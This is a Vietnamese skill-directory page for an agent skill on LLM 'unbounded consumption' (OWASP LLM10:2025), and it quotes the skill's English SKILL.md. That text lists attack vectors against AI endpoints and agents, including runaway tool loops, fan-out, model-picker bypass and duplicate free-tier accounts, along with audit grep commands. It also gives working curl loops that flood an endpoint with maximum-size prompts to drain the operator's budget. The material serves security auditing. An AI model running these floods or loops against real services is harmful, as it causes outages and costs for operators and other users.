Chuyển đến nội dung
Skillpedia
Agent6.5k · #13980

unbounded-consumption

Skill này làm gì

Skill này giải thích cách sản phẩm AI có thể bị rút cạn tài nguyên bởi lời nhắc khổng lồ, vòng lặp công cụ bất tận hoặc thiếu ngân sách. Skill dành cho các nhóm vận hành dịch vụ AI và muốn đặt giới hạn an toàn.

Khi nào nên dùng

  • ✓Khi một nhóm yêu cầu agent kiểm tra xem endpoint AI có giới hạn kích thước lời nhắc và số token cho mỗi người dùng không.
  • ✓Khi agent rà soát các vòng lặp agent có thể lặp lại lệnh gọi công cụ mà không có giới hạn bước hoặc chi phí.
  • ✓Khi một báo cáo cần giải thích cách sử dụng AI không giới hạn có thể gây hóa đơn lớn hoặc sự cố dịch vụ.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem các endpoint AI và vòng lặp agent của chúng tôi có giới hạn kích thước lời nhắc, số bước và chi phí cho mỗi người dùng không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent tìm giới hạn kích thước, giới hạn bước, ngưỡng thử lại và kiểm tra ngân sách trong mã, rồi liệt kê mọi đường đi không có giới hạn nào.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

LLM Unbounded Consumption (LLM10:2025)

LLM inference is metered in dollars-per-token at the provider, and those tokens stack quickly: a context window full of attacker content costs more than the rest of the request stack combined. Unbounded consumption produces three impacts in escalating severity: provider rate-limit / hard-block (DoS), bill blowout (denial-of- wallet), and ultimately tool / sandbox resource exhaustion (DoS of the customer's compute).

1. Recognition signals

  • The product exposes an authenticated or unauthenticated LLM endpoint that accepts large prompts.
  • Per-user / per-tenant token budget is undocumented or absent.
  • Free-tier signup grants immediate access to the most expensive model.
  • Agentic system has no max-step / max-token / max-cost cap.
  • Tools loop on model output without iteration cap (while not done:).
  • File-upload feature dumps full document into the context.
  • Background workers retry failed model calls on exponential backoff without a hard ceiling.
  • Cost dashboard updates daily, not in real time.

2. Attack vectors

Direct prompt expansion (input DoS)

Submit a maximum-context-window prompt repeatedly:

seq 1 1000 | xargs -I{} curl -s -X POST "$TARGET/chat" \
    -H "Authorization: Bearer $FREE_TIER_TOKEN" \
    -d "{\"prompt\":\"$(python -c 'print("repeat this " * 30000)')\"}" \
    >/dev/null &

Cost-tier escalation

Bypass the model picker to force the most expensive model (opus / o1 / claude-3.7) on every request. Often the picker is a client-side selector that the backend trusts.

Runaway agentic loop

Submit a task that the agent cannot complete: "Read every file in / recursively and summarise each in 5 paragraphs." Each tool result feeds the next prompt; tokens grow per loop. With no max-step cap the run lasts until provider rate-limits or budget alarms fire.

Fan-out via tool calls

Trigger an LLM that itself spawns N tool calls per turn, each of which invokes a sub-LLM. Geometric blow-up.

Self-prompting / recursion

"For each of the following 100 topics, write a 5-page detailed analysis." Each topic becomes a sub-call.

Wallet-only DoS via duplicate accounts

Free-tier signup with a temp-email service; 100 accounts; each runs maximum-cost requests on a paid backend.

Long-context starvation of other users

Submit a single max-context request that holds a shared backend worker; concurrent users observe latency spikes / 5xx.

3. Audit workflow

# Find LLM endpoints + their auth requirements
grep -rE '/chat|/complete|/generate|/agent|/llm' /workspace/src

# Find token / cost cap logic (or its absence)
grep -rE 'max_tokens|max_steps|cost_budget|rate_limit|throttle|token_budget' /workspace/src

# Find model-selection bypass surface (client-controlled model id)
grep -rE 'model\s*=\s*request|model_from_body|user_choice_model' /workspace/src

# Find agentic loop terminators
grep -rE 'while.*tool|for.*step|max_iterations|recursion_limit' /workspace/src

For each endpoint ask:

  1. What is the per-user max tokens per minute / per day?
  2. Is the model id chosen by the user trusted server-side?
  3. Is there a circuit-breaker on the provider 429 path?
  4. What is the maximum total cost of a single agentic run?

4. Exploitation goals

Goal Impact Indicator
Per-user DoS via large prompt Low One user 429s themselves
Wallet drain on free tier High Measurable per-account spend > tier price
Single-prompt budget blowout High One request exceeds expected per-day cost
Cross-tenant DoS via shared backend Critical Other tenants 5xx during attacker's request
Sustained billing attack Critical Multi-day spend curve elevated by attacker

5. PoC payloads

Wallet drain probe (free tier)

# Provision a fresh free-tier account
TOK=$(curl -X POST $TARGET/signup -d '{"email":"test+'$(uuidgen)'@example"}' | jq -r .token)

# Sustained max-cost requests
for i in $(seq 1 50); do
    curl -s -X POST "$TARGET/chat" -H "Authorization: Bearer $TOK" \
        -d '{"model":"gpt-5-pro","prompt":"'$(python -c 'print("token "*40000)')'"}' \
        >/dev/null &
done
wait

# Measure spend via vendor dashboard or attacker-side response timing

Runaway agentic loop

For each line in /etc/services, look up the protocol's RFC, fetch the
RFC, and write a 3-paragraph summary. Save each summary to a file in
/tmp. Continue until all services are processed.

Watch t

Câu hỏi thường gặp

Unbounded consumption là gì?

Đó là khi dịch vụ AI có thể bị dùng không giới hạn, gây chi phí cao hoặc làm chậm dịch vụ cho mọi người.

Vì sao tài khoản miễn phí lại quan trọng ở đây?

Skill nói đăng ký miễn phí mà dẫn đến các mô hình đắt tiền không có giới hạn sẽ làm việc lạm dụng dễ hơn.

Skill gợi ý những giới hạn nào?

Skill nhắc đến giới hạn kích thước lời nhắc, số bước tối đa của agent, ngưỡng thử lại và ngân sách cho từng người dùng.

Chi tiết

Mô tả gốc của tác giả

Hunt LLM unbounded consumption (OWASP LLM10:2025) — denial-of-wallet and denial-of-service against LLM endpoints via unrestricted prompt size, runaway tool loops, expensive model selection, and unauthenticated fan-out.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#13980
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự